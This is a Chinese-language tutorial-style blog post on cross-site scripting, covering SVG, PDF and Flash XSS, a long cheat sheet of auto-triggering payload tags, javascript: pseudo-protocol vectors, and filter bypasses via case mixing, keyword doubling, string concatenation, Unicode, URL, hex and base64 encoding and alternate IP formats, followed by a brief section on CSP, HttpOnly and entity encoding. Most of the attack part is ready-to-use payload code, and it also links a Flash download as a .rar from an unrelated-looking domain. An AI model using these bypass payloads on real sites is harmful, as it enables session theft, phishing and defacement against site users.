xss跨站及绕过与防护

XSS

它主要是指攻击者可以在页面中插入恶意脚本代码,当受害者访问这些页面时,浏览器会解析并执行这些恶意代码,从而达到窃取用户身份/钓鱼/传播恶意代码等行为。

SVG-XSS

SVG(Scalable Vector Graphics)是一种基于XML的二维矢量图格式,和我们平常用的jpg/png等图片格式所不同的是SVG图像在放大或改变尺寸的情况下其图形质量不会有所损失,并且我们可以使用任何的文本编辑器打开SVG图片并且编辑它,目前主流的浏览器都已经支持SVG图片的渲染。

<circle cx="100"cy="50"r="40"stroke="black" stroke-width="2"fill="red" />

PDF-XSS

1、创建PDF,加入动作JS

2、通过文件上传获取访问链接

3、直链地址访问后被触发

SWF-XSS

测试swf文件xss安全性:

1、反编译swf文件

2、查找触发危险函数

3、找可控参数访问触发

xss一是指执行恶意js,那么为什么说flash xss呢?是因为flash有可以调用js的函数,也就是可以和js通信,因此这些函数如果使用不当就会造成xss。常见的可触发xss的危险函数有:getURL,navigateToURL,ExternalInterface.call,htmlText

loadMovie等等

adob flash下载链接:https://t5art65aer.yzhy23.cn/2019/08/02/adboeflash.rar?timestamp=671cf0d2\&auth_key=97f961c2c3e03dcd9e7c46429f170fa1\&sign=080e6247193bde0b8650b2134efa562c\&t=671cfee2

新建动画

按f9打开动作

写入

var m = _root.m;

flash.external.ExternalInterface.call(m);

ctrl+enter运行

正常运行ok,发布出来

然后放到网站内使用浏览器访问,加上参数m=alert(1),就执行js成功

常见标签-无需交互触发

html 复制代码
<script>alert("xss");</script>
<img src=1 οnerrοr=alert("xss");>
<input onfocus="alert('xss');">
<input οnblur=alert("xss") autofocus><input autofocus>
<input onfocus="alert('xss');" autofocus>
<details ontoggle="alert('xss');">
<details open ontoggle="alert('xss');">
<svg οnlοad=alert("xss");>
<select onfocus=alert(1)></select>
<select onfocus=alert(1) autofocus>
<iframe οnlοad=alert("xss");></iframe>
<video><source onerror="alert(1)">
<audio src=x  οnerrοr=alert("xss");>
<body/οnlοad=alert("xss");>

<body
οnscrοll=alert("xss");><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>

<textarea οnfοcus=alert("xss"); autofocus>
<keygen autofocus onfocus=alert(1)> //仅限火狐
<marquee onstart=alert("xss")></marquee> //Chrome不行,火狐和IE都可以
<isindex type=image src=1 οnerrοr=alert("xss")>//仅限于IE

link远程包含js文件

html 复制代码
<link rel=import href="http://127.0.0.1/1.js">

JavaScript伪协议

html 复制代码
<a>标签
<a href="javascript:alert(`xss`);">xss</a>

<iframe>标签
<iframe src=javascript:alert('xss');></iframe>

<img>标签
<img src=javascript:alert('xss')>//IE7以下

<form>标签
<form action="Javascript:alert(1)"><input type=submit>

过滤绕过

过滤空格

/代替空格

html 复制代码
<img/src="x"/οnerrοr=alert("xss");>

过滤关键字

大小写
html 复制代码
<ImG sRc=x onerRor=alert("xss");>
双写

有些waf可能会只替换一次且是替换为空,这种情况下我们可以考虑双写关键字绕过

html 复制代码
<imimgg srsrcc=x οnerrοr=alert("xss");>
字符拼接

利用eval

html 复制代码
<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">

利用top

html 复制代码
<script>top["al"+"ert"](`xss`);</script>

编码绕过

不过全是在能执行js的条件下,有点鸡肋

Unicode编码绕过

html 复制代码
<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115;&#34;&#41;&#59;">

<img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">

url编码

html 复制代码
<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
html 复制代码
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>

ascii编码

html 复制代码
<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">

hex编码

html 复制代码
<img src=x οnerrοr=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>

base64编码

html 复制代码
<img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">
html 复制代码
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">

过滤url地址

url编码
html 复制代码
<img src="x" οnerrοr=document.location=`http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/`>
使用IP

ip转换进制在线工具

IP地址十六进制、二进制、十进制转换-ME2在线工具

1.十进制IP

<img src="x" onerror=document.location=`http://2130706433/`>

2.八进制IP

<img src="x" onerror=document.location=`http://0177.0.0.01/`>

3.hex

<img src="x" onerror=document.location=`http://0x7f.0x0.0x0.0x1/`>

4.html标签中用//可以代替http://

<img src="x" onerror=document.location=`//www.baidu.com`>

5.使用中文句号代替英文的点

如果你在你在域名中输入中文句号浏览器会自动转化成英文的点

html 复制代码
<img src="x" onerror="document.location=`http://www。baidu。com`">//会自动跳转到百度

安全防护

CSP

CSP(Content Security Policy 内容安全策略内容安全策略是一种可信白名单机制,来限制网站中是否可以包含某来源内容该制度明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单,它的实现和执行全部由浏览器完成,开发者只需提供配置。禁止加载外域代码,防止复杂的攻击逻辑。禁止外域提交,网站被攻击后,用户的数据不会泄露到外域禁止内联脚本执行(规则较严格,目前发现GitHub使用)禁止未授权的脚本执行(新特性,Google Map 移动版在使用)合理使用上报可以及时发现 xSS,利于尽快修复问题。

如下图,未开启csp时img标签可以加载外部源的图片

一旦加入csp代码开启csp 就报错,因为csp禁止请求非同源资源

HttpOnly

HtpOnly是Cokioe的一个安全属性, 设置后则可以在xSS漏洞发生时避免Js读取到Cookie


使用js获取cookie,发现获取不到开启了httponly的参数

XSS Filter

把特殊标签符号转码,比如把"<", ">", "&"等这些特殊字符转码,例如heml实体化

开启实体化后

全被转义了

相关推荐
Gnevergiveup4 分钟前
2024网鼎杯青龙组Web+Misc部分WP
开发语言·前端·python
尘佑不尘16 分钟前
shodan5,参数使用,批量查找Mongodb未授权登录,jenkins批量挖掘
数据库·笔记·mongodb·web安全·jenkins·1024程序员节
你不讲 wood23 分钟前
使用 Axios 上传大文件分片上传
开发语言·前端·javascript·node.js·html·html5
SeniorMao0071 小时前
结合Intel RealSense深度相机和OpenCV来实现语义SLAM系统
1024程序员节
Iqnus_1231 小时前
vue下载安装
前端·vue.js·笔记
黑龙江亿林等级保护测评1 小时前
等保行业如何选择核实的安全防御技术
网络·人工智能·python·安全·web安全·智能路由器·ddos
Yue1one1 小时前
CSRF 点击劫持
web安全·网络安全
网安_秋刀鱼1 小时前
CSRF防范及绕过
前端·安全·web安全·网络安全·csrf·1024程序员节
WW、forever1 小时前
【ArcGIS Pro实操第4期】绘制三维地图
1024程序员节
ac-er88881 小时前
PHP的 CSRF、XSS 攻击和防范
php·xss·csrf